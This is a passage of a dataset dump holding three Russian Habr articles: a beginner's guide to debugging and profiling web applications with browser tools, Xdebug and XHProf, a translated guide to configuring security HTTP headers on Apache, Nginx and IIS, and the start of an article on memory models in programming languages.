text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Начала отладки и профилирования веб-приложений
#### Вступление
Много существует статей на Хабре, описывающих интересные и сложные аспекты веб-разработки, но много существует читателей, которые, находясь в начале своей карьеры веб-разработчика, хотели бы видеть материал, который позволил бы сделать первый шаг от «PHP за 24 часа» до разработки на серьезном уровне, и я хотел бы поделиться своим опытом в этом деле.
Особенности веб-приложения делают его разделенным на две части: клиентскую и серверную. На стороне клиента работает код на JavaScript (может быть, где-то можно найти и VBScript, но мы, пожалуй, не будем рассматривать этот случай), на серверной же — много что, в принципе, но мы рассмотрим PHP, наиболее популярный язык для серверной части веб-приложений. Так же интересно было бы поговорить об отладке и профилировании Flash-приложений на клиентской стороне, но затронутая тема и так обширна, так что пока оставим это.
Так же можно отнести к задачам отладки клиентского кода анализ и валидацию HTML кода. Это, вроде бы, задача не совсем из области программирования, но также немаловажная.
Некоторые части рассмотренных задач уже рассматривались в других статьях, и я предоставил на них ссылки.
#### Отладка и профилирование клиентского кода
«Классическим» способом отладки кода на JavaScript является использование функции `alert` и ее производные. Помнится, в начале своей карьеры лично я написал функцию `print_r` для JavaScript, так как не видел возможности для вывода отладочной информации по массивам и объектам. Выглядело это примерно так:
```
function print_r(variable)
{
if (variable instanceof Array || variable instanceof Object) {
var key;
for (key in variable)
alert(key + ' => ' + variable[key]);
}
else {
alert(variable);
}
}
```
О каком-либо профилировании речи, конечно, не велось совсем.
При таком подходе даже информация об объекте [console](http://habrahabr.ru/blogs/javascript/114483/) производит революцию.
Специфика клиентской стороны веб-приложения требует отладки кода во всех популярных браузерах. Конечно, чаще всего хватает и отладки в Internet Explorer'е и любом ~~нормальном~~ другом браузере, но мы рассмотрим все варианты.
##### Mozilla Firefox
Наверно, именно Firefox можно назвать пионером отладки клиентского кода. Долгое время его указывали как браузер, наиболее подходящий для разработки, а все благодаря расширению [Firebug](http://habrahabr.ru/blogs/webdev/50445/), которое содержит, наверно, все нужные возможности, кроме валидации HTML кода.
Так же, начиная с версии 4, появилась встроенная Веб-консоль, которая реализует часть функций вкладки «Консоль» и «Сеть» Firebug'а, а так же некоторые возможности по отладке CSS.
Начиная с версии 6, появился Простой редактор JavaScript, который так же реализует одну из функций Firebug'а, и позволяет писать и выполнять код прямо в браузере.
Начиная с версии 10 появился Инспектор страниц, который позволяет изучать HTML код и CSS свойства, то есть, реализует функции вкладки «HTML».
За валидацию HTML кода как правило отвечает расширение [Html Validator](https://addons.mozilla.org/ru/firefox/addon/html-validator/?src=search). Как раз его иконку, указывающую на количество ошибок на главной странице сайта habrahabr.ru, можно видеть в правом нижнем углу браузера на картинке с Инспектором страниц.
Так же, пользуясь случаем, укажу, что для этого браузера есть множество расширений, позволяющих облегчить жизнь, о чем на Хабре уже была соответствующая [статья](http://habrahabr.ru/blogs/webdev/133566/).
##### Google Chrome и Safari
Эти браузеры, основанные на WebKit, обладают встроенным инструментом разработки Web Inspector, который очень хорошо развит и реализует практически те же функции, что и Firebug. При этом, надо отдать ему должное, он не замедляет работы браузера, что водится за «старшим братом».
В Chrome он может быть вызван по нажатию клавиш `Ctrl+Shift+I` или просто по `F12`. В Safari он хорошо спрятан, и для его использования нужно включить возможности разработки в настройках браузера. Позже инструменты разработчика станут доступными из пункта «Разработка» главного меню или по сочетанию клавиш `Ctrl+Alt+I`.
Для валидации HTML кода так же нужно устанавливать сторонние расширения. К примеру, для Chrome, это может быть [Validity](https://chrome.google.com/webstore/detail/bbicmjjbohdfglopkidebfccilipgeif?hl=ru). Для Safari пока не удалось подобрать ничего подходящего.
##### Opera
Opera так же имеет встроенный инструмент для разработчиков, который называется «Opera Dragonfly», и может быть вызван в любой момент по сочетанию клавиш `Ctrl+Shift+I`. Он похож на то, что нам представляет WebKit, и имеет подобные возможности и плюсы, хотя, на мой лично взгляд, менее удобен.
Как подсказал товарищ [homm](https://habrahabr.ru/users/homm/), в Опере есть простое средство отправить страницу на валидацию в validator.w3.org. В контекстном меню области отображения сайта есть пункт «Соблюдены ли веб-стандарты», который как раз и отвечает за это.
С расширениями для валидации HTML в каталоге Оперы напряженная ситуация. По этой причине у расширения [Validator](https://addons.opera.com/ru/addons/extensions/details/validator/1.0/?display=ru) нет альтернатив.
##### Internet Explorer
Начиная с версии 8 и здесь появился инструментарий разработчика. Он предоставляет примерно те же возможности, что и в случаях остальных браузеров, но, как и в других аспектах своей деятельности, Internet Explorer предоставляет их с некоторыми особенностями и непередаваемым изяществом. Важным пунктом является возможность эмуляции более старых версий, а так же режима совместимости.
Принято считать, что в версиях 7-, над которыми пролились моря слез верстальщиков и JS-программистов, подобных инструментов нет. Существует стороннее решение, Companion.JS, о котором была соответствующая [статья](http://habrahabr.ru/blogs/javascript/15404/). Конечно, его возможности значительно уступают привычным инструментам, но это средство хотя бы позволяет отлаживать код более продвинуто, чем «alert-ориентированная отладка».
Товарищ [atd](https://habrahabr.ru/users/atd/) подсказал, что и для этих многострадальных версий «родной» инструментарий под названием «Internet Explorer Developer Toolbar» был, но требовал отдельной установки: [www.microsoft.com/download/en/details.aspx?id=18359](http://www.microsoft.com/download/en/details.aspx?id=18359)
Так же товарищ [k12th](https://habrahabr.ru/users/k12th/) напомнил, что при наличии Visual Studio можно отлаживать код в ней (компоненты «Web Development Tools»). Так же можно найти информацию о бесплатной версии [Visual Web Developer Express](http://msdn.microsoft.com/en-us/library/dd537667.aspx).
#### Отладка и профилирование серверного кода
##### Xdebug
Как мы договорились в начале, мы рассматриваем случай, когда на сервере используется PHP. Тут «классическим» методом отладки являются `echo`, `print_r` и `var_dump`, но есть так же и средство для отладки, как в лучших домах — [Xdebug](http://xdebug.org/). Лично для меня, в связи со спецификой обучения в институте, это выглядело «прямо как в Delphi».
Расширение xdebug позволяет как минимум прогонять код по шагам и просматривать значения переменных, что поднимает программирование на PHP на новый уровень. О тонкостях работы с xdebug была соответствующая [статья](http://habrahabr.ru/blogs/php/31505/). XDebug обычно доступен в репозиториях GNU/Linux, в Windows его так же не слишком сложно установить, скопировав dll файл.
При использовании этого расширения, с сервера на компьютер разработчика поступает входящее соединение (по умолчанию на порт 9000), которое он должен обработать. Для этого необходимо соответствующим образом настроить свою IDE.
Кстати говоря, использование IDE так же является непременным условием движения вперед. Некоторые программисты считают, что разницу между программированием в блокноте с подсветкой кода и в IDE можно увидеть только на крупных проектах, но лично я придерживаюсь мнения, что разница видна даже на программе «Hello world!» — одна автоподстановка имен и аргументов стандартных функций чего стоит.
##### XHProf
###### О расширении
Да, xdebug предоставляет возможности по профилированию, но разработка Facebook'а для этих целей, [XHProf](https://github.com/facebook/xhprof), лично мне больше нравится. Я, сказать честно, не проводил никаких тестов, но считается, что данное расширение гораздо лучше подходит для production-серверов и для профилирования при реальных нагрузках.
###### Установка
К сожалению, это расширение не входит ни в какие репозитории. Оно входит в PECL, но по какой-то причине его установка штатным путем часто вызывает проблемы. По этой причине приходится проводить установку из исходников.
```
# Получаем исходники
wget http://pecl.php.net/get/xhprof-0.9.2.tgz
# Распаковываем исходники
tar -xvf xhprof-0.9.2.tgz
# Переходим в каталог, где содержится код расширения
cd xhprof-0.9.2/extension/
# Проводим компиляцию и тест
phpize
./configure
make
make test
# Проводим установку цивилизованно
checkinstall
```
Файл конфигурации `xhprof.ini` предоставляет нам примерно такие возможности:
`[xhprof]
extension=/usr/local/lib/php/extensions/no-debug-non-zts-20090626/xhprof.so
; Каталог для логов
xhprof.output_dir="/var/log/xhprof/"`
###### Профилирование
Каталог, который мы получаем, распаковав архив, содержит помимо исходников расширения так же и веб-интерфейс для изучения результатов профилирования, и библиотеки для профилирования приложения.
Приведем пример профилирования. В код приложения нужно включить следующие элементы:
```
// Начало скрипта, включаем профилирование
// как нагрузки на процессор, так и на память
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);
/*
* Основной код приложения
*/
// Конец скрипта, завершаем профилирование,
// записываем результат в лог
$xhprofData = xhprof_disable();
include_once XHPROF_DIR.'/xhprof_lib/utils/xhprof_lib.php';
include_once XHPROF_DIR.'/xhprof_lib/utils/xhprof_runs.php';
$xhprofRuns = new XHProfRuns_Default();
$namespace = 'some-unique-name';
$runId = $xhprofRuns->save_run($xhprofData, $namespace);
echo "\n";
```
Здесь константа `XHPROF_DIR` указывает на каталог, куда мы распаковали скачанный архив.
Для анализа результатов нужен тот самый веб-интерфейс. Его можно взять в каталоге `$XHPROF_DIR/xhprof_html/` — условно обозначим его так. К примеру, мы расположили его в доступном веб-серверу месте, и он доступен по адресу `example.com/system/xhprof/`, тогда для анализа результата работы нам нужно обратиться к нему следующим образом:
`example.com/system/xhprof/?run=%runId%&source=%namespace%`
Мы получим подобный результат:
[](http://radikal.ru/F/s002.radikal.ru/i197/1202/5a/79c17fa7631e.png)
Профилирование можно включать в код приложения на постоянной основе или, например, сделать так, чтобы оно запускалось случайно с определенной вероятностью или по наличию определенного условия. Например, так:
```
$needProfiler = (mt_rand(0, 100) < 10 or isset($_COOKIE['xhprof']));
if ($needProfiler)
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);
```
В таком случае можно, имея жалобы от клиентов или подозрения, обратиться к результатам профилирования за определенный временной промежуток. С помощью параметра `namespace` можно определить, какая именно часть приложения (какой скрипт, контроллер, экшн) профилировались.
##### Профилирование SQL запросов
Как правило, именно работа с базой данных является узким местом в приложении. По этой причине рекомендуется проводить профилирование запросов. К примеру, рассмотрим часть класса, являющегося оберткой вокруг функций расширения mysql. Да, я знаю, что это расширение не очень любят и желают ему смерти не меньше, чем старому-доброму IE6. Я не призываю его использовать, просто именно такой класс есть у меня под рукой.
```
/**
* Запрос
* @param string $sql Запрос
* @param array $params Параметры
* @param string $query Скомпилированный запрос
* @return array Результат
*/
public function query($sql, array $params = array(), &$query = '')
{
$start = microtime(TRUE);
// Проведение запроса, включая "защиту" параметров
$stop = microtime(TRUE);
$time = $stop - $start;
$this->_addProfilerData($sql, $time);
// Возврат результата
}
private function _addProfilerData($query, $time)
{
if (is_array(self::$profilerData)) {
self::$profilerData[] = array(
'query' => $query,
'time' => $time
);
}
}
public function __destruct()
{
if (is_array(self::$profilerData)) {
$this->_writeProfilerData();
self::$profilerData = FALSE;
}
// Отключение от БД
}
private function _writeProfilerData()
{
$values = array();
foreach (self::$profilerData as $row) {
$query = mysql_real_escape_string($row['query'], $this->con);
$time = (float)$row['time'];
$hash = crc32($row['query']);
$values[] = "($hash, '$query', $time)";
}
if ($values) {
$strValues = implode(', ', $values);
$sql = "INSERT DELAYED INTO `profiler_queries` (`query_hash`, `query`, `work_time`) VALUES $strValues";
@mysql_query($sql, $this->con);
}
}
```
Здесь данные профилирования запросов хранятся в таблице `profiler_queries`. Эта таблица может иметь тип MyISAM или Archive, так как они предоставляют возможность совершать отложенные вставки, что не создает излишней задержки ответа при профилировании. Так же для лучшего поиска запросов в таблице лучше создать столбец типа `INT`, куда будет писаться crc32-хеш запроса, по которому нужно создать индекс.
#### Заключение
Статья получилась достаточно большой. Возможно, здесь я прошелся по верхам и затронул темы, которые уже затрагивались, но если бы я в свое время прочитал что-то подобное — статью, где вся информация собрана вместе и даны полезные ссылки, это оказало бы мне неоценимую помощь. Я надеюсь, что и моя статья поможет кому-нибудь на пути к просветлению.
#### Ссылки
1. [Используем console на полную](http://habrahabr.ru/blogs/javascript/114483/)
2. [Firebug: Part 1 — console](http://habrahabr.ru/blogs/webdev/50445/)
3. [Расширения Firefox для веб-разработки на все случаи жизни](http://habrahabr.ru/blogs/webdev/133566/)
4. [JavaScript debugger для IE](http://habrahabr.ru/blogs/javascript/15404/)
5. [Debugging PHP applications with xdebug](http://habrahabr.ru/blogs/php/31505/)
6. [Профилирование PHP-кода](http://habrahabr.ru/blogs/php/78210/)
7. [Pinba — мониторим php в реальном времени](http://habrahabr.ru/blogs/php/129042/) (подсказал [trueneutral](https://habrahabr.ru/users/trueneutral/))
8. [Webgrind — Xdebug profiling web frontend](https://github.com/jokkedk/webgrind) (подсказал [truezemez](https://habrahabr.ru/users/truezemez/))
9. [Internet Explorer Developer Toolbar](http://www.microsoft.com/download/en/details.aspx?id=18359)
10. [XDEBUG EXTENSION FOR PHP](http://xdebug.org/)
11. [XHProf (GitHub)](https://github.com/facebook/xhprof) | https://habr.com/ru/post/139004/ | null | ru | null |
# Как использовать HTTP заголовки для предупреждения уязвимостей
Знаете ли вы, что в большинстве случаев уязвимость системы безопасности можно устранить добавив необходимые заголовки ответа?
Безопасность не менее важна, чем содержание или поисковая оптимизация сайта. Тысячи [сайтов взламываются](https://geekflare.com/real-time-cyber-attacks/) из-за ошибок в конфигурации или недостаточной защиты. Если вы владелец сайта или специалист по защите информации, и интересуетесь [защитой сайта](http://incapsula.evyy.net/c/245992/237638/4029) от **кликджекинга, внедрения кода, уязвимостей MIME типов, XSS-атак** и т.д., то данная инструкция будет вам полезна.
В этой статье я расскажу о разных заголовках HTTP для использования с различными веб-серверами, сетевой периферией или сетями доставки контента, чтобы повысить [уровень защищенности сайта](http://sucuri.7eer.net/c/245992/212721/3713).
### Замечания:
* До внесения изменений советую сделать резервную копию файла конфигурации;
* Некоторые заголовки могут не поддерживаться на всех браузерах, поэтому до выполнения стоит [проверить совместимость](http://caniuse.com/);
* Mod\_headers должен быть включен в Apache для использования этих заголовков. Следующая строка должна быть раскомментирована в httpd.conf file: LoadModule headers\_module modules/mod\_headers.so
Если вы пользуетесь [SUCURI Cloud WAF](http://sucuri.7eer.net/c/245992/212721/3713?u=https%3A%2F%2Fsucuri.net%2Fwebsite-firewall%2F), то о настройке сервера вручную можете не беспокоиться, большинство параметров уже автоматически включено.
### Список заголовков HTTP
**[X-XSS-Protection](https://habrahabr.ru/company/hosting-cafe/blog/315802/#1)**
* [Apache HTTP Server](https://habrahabr.ru/company/hosting-cafe/blog/315802/#2)
* [Nginx](https://habrahabr.ru/company/hosting-cafe/blog/315802/#3)
* [MaxCDN](https://habrahabr.ru/company/hosting-cafe/blog/315802/#4)
* [Microsoft IIS](https://habrahabr.ru/company/hosting-cafe/blog/315802/#5)
**[HTTP Strict Transport Security](https://habrahabr.ru/company/hosting-cafe/blog/315802/#6)**
* [Apache HTTP Server](https://habrahabr.ru/company/hosting-cafe/blog/315802/#7)
* [Nginx](https://habrahabr.ru/company/hosting-cafe/blog/315802/#8)
* [Cloud Flare](https://habrahabr.ru/company/hosting-cafe/blog/315802/#9)
* [Microsoft IIS](https://habrahabr.ru/company/hosting-cafe/blog/315802/#10)
**[X-Frame-Options](https://habrahabr.ru/company/hosting-cafe/blog/315802/#11)**
* [Apache](https://habrahabr.ru/company/hosting-cafe/blog/315802/#12)
* [Nginx](https://habrahabr.ru/company/hosting-cafe/blog/315802/#13)
* [F5 LTM](https://habrahabr.ru/company/hosting-cafe/blog/315802/#14)
* [WordPress](https://habrahabr.ru/company/hosting-cafe/blog/315802/#15)
* [Microsoft IIS](https://habrahabr.ru/company/hosting-cafe/blog/315802/#16)
**[X-Content-Type-Options](https://habrahabr.ru/company/hosting-cafe/blog/315802/#17)**
* [Apache](https://habrahabr.ru/company/hosting-cafe/blog/315802/#18)
* [Nginx](https://habrahabr.ru/company/hosting-cafe/blog/315802/#19)
* [WordPress](https://habrahabr.ru/company/hosting-cafe/blog/315802/#20)
* [Microsoft IIS](https://habrahabr.ru/company/hosting-cafe/blog/315802/#21)
**[HTTP Public Key Pinning](https://habrahabr.ru/company/hosting-cafe/blog/315802/#22)**
**[Content Security Policy](https://habrahabr.ru/company/hosting-cafe/blog/315802/#23)**
* [Apache](https://habrahabr.ru/company/hosting-cafe/blog/315802/#24)
* [Nginx](https://habrahabr.ru/company/hosting-cafe/blog/315802/#25)
* [Microsoft IIS](https://habrahabr.ru/company/hosting-cafe/blog/315802/#26)
### X-XSS-Protection
Заголовок X-XSS-Protection может предотвратить некоторые **XSS**-атаки («межсайтовый скриптинг»), он совместим с IE 8+, Chrome, Opera, Safari и Android.
Google, Facebook, Github используют этот заголовок, и большинство консультантов по предупреждению проникновений порекомендуют Вам его использовать.
Всего существует четыре варианта конфигурации:
| Значение параметра | Содержание |
| --- | --- |
| 0 | XSS-фильтр выключен |
| 1 | XSS-фильтр включен, и, в случае обнаружения атаки, страница подвергается цензуре |
| 1;mode=block | XSS-фильтр включен, и, в случае обнаружения атаки, предотвращает обработку страницы |
| 1;report=http://example.com/report\_URI | XSS-фильтр включен, и, в случае обнаружения атаки, отправляется отчет о нарушении |
Давайте используем 1;mode=block для следующих веб-серверов.
#### Apache HTTP-сервер
Добавьте следующую запись в httpd.conf вашего сервера Apache:
```
Header set X-XSS-Protection “1; mode=block”
```
Для проверки перезапустите Apache.
#### Nginx
Добавьте следующее в nginx.conf в разделе HTTP:
```
add_header X-XSS-Protection "1; mode=block";
```
Необходимо перезапустить Nginx, чтобы изменения отразились в заголовке ответа вашего сайта.
#### MaxCDN
Если вы используете [MaxCDN](http://tracking.maxcdn.com/c/245992/3982/378), то добавить заголовок — проще простого. Зайдите в Edge Rules, нажмите “New Rule” и выберите “Add X-XSS-Protection Header” из выпадающего списка.
#### Microsoft IIS
* Откройте Диспетчер IIS;
* Выберите сайт, для которого необходимо включить заголовок;
* Зайдите в “Заголовки ответа HTTP”
* Нажмите “Добавить” в разделе действий.
* Введите название, значение и нажмите OK.
* Перезапустите IIS, чтобы увидеть результаты.
### HTTP Strict Transport Security
Заголовок HSTS (HTTP Strict Transport Security) гарантирует, что весь обмен данными из браузера осуществляется по протоколу HTTPS (HTTP Secure). Это предотвращает попытки обойти HTTPS и перенаправляет все HTTP запросы на HTTPS.
Перед тем, как добавлять этот заголовок, убедитесь в том, что все страницы сайта доступны по HTTPS, иначе они не будут отображаться.
Заголовок HSTS совместим с последними версиями большинства браузеров (IE, Firefox, Opera, Safari и Chrome). Всего есть три варианта конфигурации.
| Значение параметра | Содержание |
| --- | --- |
| max-age | Интервал (в секундах) для указания браузеру, что запросы следует отправлять только через HTTPS. |
| includeSubDomains | Конфигурация распространяется на поддомены. |
| preload | Используйте, если хотите добавить домен в [предопределенный список HSTS](https://hstspreload.appspot.com/). |
В качестве примера давайте настроим HSTS на год и добавим домен и [поддомены](https://geekflare.com/find-subdomains/) в предопределенный список HSTS.
#### Apache HTTP-сервер
Чтобы использовать HSTS в Apache, добавьте в файл httpd.conf следующую запись:
```
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
```
Чтобы увидеть результат, перезапустите Apache.
#### Nginx
Чтобы настроить HSTS в Nginx, добавьте следующую запись в nginx.conf в директиве Server (SSL):
```
add_header Strict-Transport-Security 'max-age=31536000; includeSubDomains; preload';
```
Как всегда, для проверки придется перезагрузить Nginx.
#### Cloud Flare
Если вы используете Cloud Flare, то включить HSTS можно всего за пару кликов мыши.
* Войдите в [Cloud Flare](https://www.cloudflare.com/) и выберите необходимый сайт.
* Перейдите во вкладку “Crypto” и нажмите “Enable HSTS.”
Выберите необходимые вам настройки, и изменения вступят в действие сразу же.
#### Microsoft IIS
Запустите Диспетчер IIS и добавьте заголовок, перейдя в “Заголовки ответа HTTP” для соответствующего сайта.
Перезапустите сайт.
### X-Frame-Options
Заголовок X-Frame-Options позволяет снизить уязвимость вашего сайта для **кликджекинг**-атак. Этот заголовок служит инструкцией для браузера не загружать вашу страницу в frame/iframe. Не все браузеры поддерживают этот вариант, так что проверьте заголовок на совместимость перед тем, как его добавлять.
Есть три варианта конфигурации.
| Значение параметра | Содержание |
| --- | --- |
| SAMEORIGIN | Позволяет загрузку контента в frame/iframe только если фрейм и страница, его загружающая, расположены на одном домене. |
| DENY | Запрещает загрузку контента в frame/iframe. |
| ALLOW-FROM | Допускает загрузку контента в фреймах только для определенного URI. |
Давайте рассмотрим, как добавить конфигурацию “**DENY**” для запрета встраивания.
#### Apache
Добавьте следующую строку в httpd.conf и для проверки перезагрузите веб-сервер:
```
Header always append X-Frame-Options DENY
```
#### Nginx
Добавьте следующее в nginx.conf в директиве Server:
```
add_header X-Frame-Options “DENY”;
```
Для проверки результатов необходима перезагрузка.
#### F5 LTM
Создайте iRule следующего содержания для соответствующего виртуального сервера:
```
when HTTP_RESPONSE {
HTTP::header insert "X-FRAME-OPTIONS" "DENY"
}
```
Перезагружать ничего не нужно, изменения происходят автоматически.
#### WordPress
Этот заголовок также можно использовать в WordPress. Добавьте следующее в файл wp-config.php:
```
header(‘X-Frame-Options: DENY’);
```
Если вы не хотите вносить изменения в файл, то можете воспользоваться [плагином по этой инструкции](https://geekflare.com/wordpress-x-frame-options-httponly-cookie/).
#### Microsoft IIS
Чтобы добавить заголовок, откройте “Заголовки ответа HTTP” для соответствующего сайта.
Чтобы изменения отобразились, нужно перезапустить сайт.
### X-Content-Type-Options
Можно предотвратить атаки с использованием подмены **MIME** типов, добавив этот заголовок ответа HTTP. Заголовок содержит инструкции по определению типа файла и не допускает сниффинг контента. При конфигурации потребуется добавить только один параметр: “nosniff”.
Давайте посмотрим, как добавить этот заголовок.
#### Apache
Добавьте следующую строку в файл httpd.conf:
```
Header set X-Content-Type-Options nosniff
```
Не забудьте перезагрузить веб-сервер Apache, чтобы конфигурация вступила в действие.
#### Nginx
Добавьте следующую строку в файл nginx.conf в директиве Server:
```
add_header X-Content-Type-Options nosniff;
```
Как обычно, потребуется перезагрузить Nginx для проверки результатов.
#### WordPress
Если вы используете WordPress, то вы можете воспользоваться плагином [Security Headers](https://wordpress.org/plugins/security-headers/) для использования этого заголовка.
#### Microsoft IIS
Откройте IIS и зайдите в раздел «Заголовки ответа HTTP»
Нажмите «Добавить», введите название и значение.
Нажмите OK и перезапустите IIS, чтобы проверить результат.
### HTTP Public Key Pinning
Сократите риск **MITM**-атаки (“человек посередине”) с помощью привязки сертификата. Для этого необходимо добавить заголовок [HPKP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#Public_Key_Pinning_Extension_for_HTTP_.28HPKP.29) (HTTP Public Key Pinning).
Можно привязать корневой сертификат открытого ключа или промежуточный сертификат. На момент подготовки статьи, поддержка HPKP осуществляется в Firefox и Chrome c алгоритмом хэширования [SHA-256](https://geekflare.com/test-ssl-sha1-vulnerability-and-fix/).
Есть четыре варианта конфигурации.
| Значение параметра | Содержание |
| --- | --- |
| report-uri=”url” | Отправить отчет на определенный URL, если привязка не состоялась. Это необязательный параметр. |
| pin-sha256=”sha256key” | Определить привязку. |
| max-age= | Инструкция для браузера запомнить время в секундах, в течение которого сайт будет доступен только с использованием одного из привязанных сертификатов. |
| IncludeSubDomains | Применить в отношении поддоменов. |
В качестве примера давайте рассмотрим заголовок HPKP для facebook.com:
```
public-key-pins-report-only:max-age=500; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="q4PO2G2cbkZhZ82+JgmRUyGMoAeozA+BSXVXQWB8XWQ="; report-uri=http://reports.fb.com/hpkp/
```
Если вы собираетесь использовать это на своем сайте, то рекомендую обратиться к [руководству, написанному Scott Helme](https://scotthelme.co.uk/hpkp-http-public-key-pinning/).
### Content Security Policy
Чтобы предотвратить XSS-атаки, кликджекинг, **внедрение кода**, можно добавить заголовок ответа Content Security Policy (CSP). [CSP](https://content-security-policy.com/) содержит инструкции о загрузке контента из разрешенных источников.
[Не все браузеры поддерживают CSP](http://caniuse.com/#feat=contentsecuritypolicy2), так что перед использованием придется проверить это. Есть три варианта использования заголовков CSP:
1. Content-Security-Policy – Level 2/1.0;
2. X-Content-Security-Policy – не рекомендуется;
3. X-Webkit-CSP – не рекомендуется.
Если вы еще пользуетесь устаревшим вариантом, то стоит задуматься о переходе на обновленный.
Для заголовка CSP можно задать множество параметров, их можно изучить на [OWASP](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project#Content-Security-Policy). Предлагаю рассмотреть два самых распространенных.
| Значение параметра | Содержание |
| --- | --- |
| default-src | Загружать с определенного источника все. |
| script-src | Загружать с определенного источника только скрипты. |
Рассмотрим разрешение загрузки любого контента с текущего домена для разных веб-серверов.
#### Apache
Добавьте следующую строку в файл httpd.conf и перезагрузите веб-сервер:
```
Header set Content-Security-Policy "default-src 'self';"
```
#### Nginx
Добавьте следующее в секцию Server в файле nginx.conf:
```
add_header Content-Security-Policy "default-src 'self';";
```
#### Microsoft IIS
Зайдите в «Заголовки ответа HTTP» для соответствующего сайта в Диспетчере IIS и добавьте следующие настройки:
Я надеюсь, что инструкция по использованию заголовков позволит вам повысить **безопасность и защищенность** вашего веб-приложения. Если вы ищете защищенный IIS веб-сервер, то обратите внимание на [WebKnight WAF](https://geekflare.com/webknight-iis-waf/), где можно реализовать вышеуказанные конфигурации и не только.
*Последний абзац, ~~ради которого Chandan Kumar пишет эти статьи~~, а я их перевожу:
будем рады видеть Вас в числе посетителей [HOSTING.cafe](https://hosting.cafe) (поиск [виртуальных серверов](https://vds.menu), [виртуального хостинга](https://shared.menu) и не только) или [POISK.hosting](http://poiskhostinga.ru) (сборник отзывов о хостерах).* | https://habr.com/ru/post/315802/ | null | ru | null |
# Модели памяти, лежащие в основе языков программирования
*Предлагаем вашему вниманию перевод [статьи](http://canonical.org/~kragen/memory-models), посвящённой рассмотрению используемых в программировании моделей памяти.*
Сегодня в программировании доминируют шесть основных моделей памяти (не путать с [моделями памяти Intel 8086](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D0%B8_Intel_x86)). Три из них проистекают из трех исторически наиболее важных языков программирования 1950-х годов — COBOL, LISP и FORTRAN, а остальные связаны с тремя исторически важными системами хранения данных: магнитная лента, иерархическая файловая система в Unix-стиле и реляционная база данных.
Эти модели на гораздо более глубоком уровне, чем синтаксис или даже система типов, определяют, что наши языки программирования могут или не могут делать. Давайте подробно рассмотрим эти модели, а затем обсудим некоторые возможные альтернативы и причины, почему они могут быть интересны.
Введение
--------
Каждая современная среда программирования, в той или иной степени, использует все шесть моделей памяти, и это одна из причин того, почему наши системы столь сложны и трудны для понимания.
Здесь мы проанализируем, как каждая из этих моделей памяти:
1. представляет атрибуты сущностей,
2. взаимодействует с сериализацией,
3. осуществляет и поддерживает модульность программ, ограничивая доступ к некоторым аспектам, делая их локальными или приватными.
Пролог: программы только с атомарными переменными
-------------------------------------------------
Давайте начнем с простого языка программирования, лишенного возможности структурирования данных, поскольку он не имеет замыканий и не содержит иных типов данных, кроме булева и чисел конечной точности. Вот его [BNF](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0_%E2%80%94_%D0%9D%D0%B0%D1%83%D1%80%D0%B0)-описание с обычной семантикой и обычным приоритетом операций:
```
program ::= def*
def ::= "def" name "(" args ")" block
args ::= "" | name "," args
block ::= "{" statement* "}"
statement ::= "return" exp ";" | name ":=" exp ";" | exp ";" | nest
nest ::= "if" exp block | "if" exp block "else" block | "while" exp block
exp ::= name | num | exp op exp | exp "(" exps ")" | "(" exp ")" | unop exp
exps ::= "" | exp "," exps
unop ::= "!" | "-" | "~"
op ::= logical | comparison | "+" | "*" | "-" | "/" | "%"
logical ::= "||" | "&&" | "&" | "|" | "^" | "<<" | ">>"
comparison ::= "==" | "<" | ">" | "<=" | ">=" | "!="
```
Пример перевода температуры из шкалы Фаренгейта в шкалу по Цельсию на этом языке:
```
def f2c(f) { return (f — 32) * 5 / 9; }
def main() { say(f2c(-40)); say(f2c(32)); say(f2c(98.6)); say(f2c(212)); }
```
Давайте условимся, что в нашем языке программирования запрещена рекурсия, и применяется жадная (eager) стратегия вычислений с вызовом по значению (call-by-value). Также договоримся, что все переменные являются неявно локальными и инициализируются нулями при вызове подпрограмм. Таким образом, ни одна подпрограмма не может иметь каких-либо побочных эффектов. В такой форме наш язык программирования применим только для программирования конечных автоматов. Если скомпилировать такую программу под реальный процессор с регистрами, то каждой переменной, встреченной в тексте программы, может быть назначен один регистр. Каждой подпрограмме также может быть назначен регистр для адреса возврата. Кроме того, потребуется ещё один регистр для счетчика команд. Запуск программы на этом языке на машине с гигабайтами оперативной памяти не даст никакой выгоды. Она никогда не сможет использовать больше переменных, чем было в начале.
Это не делает такой язык бесполезным. Есть много полезных вычислений, которые можно сделать в ограниченном пространстве. Но это действительно не позволяет в полной мере использовать его абстрактную мощь, даже для таких вычислений.
Для доступа к дополнительной памяти, вы можете использовать функции peek() и poke(), читающие или записывающие один байт по указанному адресу. Таким образом, можно было бы действительно эффективно использовать память:
```
def strcpy(d, s, n) {
while n > 0 { poke(d + n, peek(s + n)); n := n — 1; }
}
```
Однако многие языки программирования не предоставляют даже peek() и poke(). Взамен они предоставляют некую структуру поверх аскетичного однородного массива байтов.
Например, даже при программировании конечных автоматов, вложенные записи (nested records), массивы (arrays) и объединения (unions) уже предоставляют огромные преимущества.
Вложенные записи и модель памяти COBOL: память как декларация о доходах
-----------------------------------------------------------------------
В COBOL объектом данных является либо что-то неделимое:
* основополагающий объект типа строки или числа определенного размера,
* либо совокупность объектов, такая как:
+ запись (объекты различного типа, сохраненные рядом один за другим);
+ объединение (альтернативные объекты, которые хранятся, занимая одно и то же место);
+ или массив (определенное количество объектов одного и того же типа, сохраненные рядом один за другим).
(Здесь мы значительно отклонились от терминологии и таксономии COBOL, чтобы упростить понимание того, что предлагает этот язык).
